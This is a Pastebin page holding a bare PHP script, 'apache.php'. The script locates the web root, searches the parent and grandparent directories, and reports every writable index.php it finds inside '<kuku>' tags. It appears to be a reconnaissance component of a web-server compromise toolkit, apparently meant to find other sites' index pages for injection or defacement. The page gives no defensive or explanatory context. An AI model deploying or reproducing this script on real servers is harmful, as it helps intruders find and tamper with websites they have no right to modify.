Advertisement
PalmaSolutions

apache.php

Oct 8th, 2018
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.27 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(300);
  4.  
  5. function getRoot($urlPath, $scriptPath) {
  6.   $root = false;
  7.   $pos = strpos($scriptPath, $urlPath);
  8.   if ($pos) {
  9.     $root = substr($scriptPath, 0, $pos);
  10.   }
  11.   return $root;
  12. }
  13.  
  14. function find_dirs($path, &$level, $maxlevel, &$dirs) {
  15.   if ($level > $maxlevel) {
  16.     $level--;
  17.     return;
  18.   }
  19.   $path = rtrim(str_replace("\\", "/", $path), '/') . '/*';
  20.   foreach (glob ($path) as $fullname) {
  21.     if (is_dir($fullname)) {
  22.       $dirs[] = $fullname;
  23.       $level++;
  24.       find_dirs($fullname, $level, $maxlevel, $dirs);
  25.     }
  26.   }
  27.   $level--;
  28. }
  29.  
  30. $cur_dir = getcwd();
  31.  
  32. $self = str_replace("\\", "/", $_SERVER['PHP_SELF']);
  33. $fullself = str_replace("\\", "/", $cur_dir."/".basename($_SERVER['PHP_SELF']));
  34. $root = getRoot($self, $fullself);
  35.  
  36. if ($root === false) die("error: root not found");
  37.  
  38. $dirs = array();
  39.  
  40. $parent_dir = dirname($root);
  41. $grandparent_dir = dirname($parent_dir);
  42.  
  43. $level = 0;
  44. find_dirs($grandparent_dir, $level, 1, $dirs);
  45.  
  46. if (count($dirs) == 0) {
  47.   $level = 0;
  48.   find_dirs($parent_dir, $level, 0, $dirs);
  49. }
  50.  
  51. if (count($dirs) == 0) {
  52.   $dirs[] = $root;
  53. }
  54.  
  55. foreach($dirs as $dir) {
  56.   $f = "$dir/index.php";
  57.   if (is_writable($f)) {
  58.     echo "<kuku>$f</kuku>";
  59.   }
  60.  
  61.  
  62. }
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement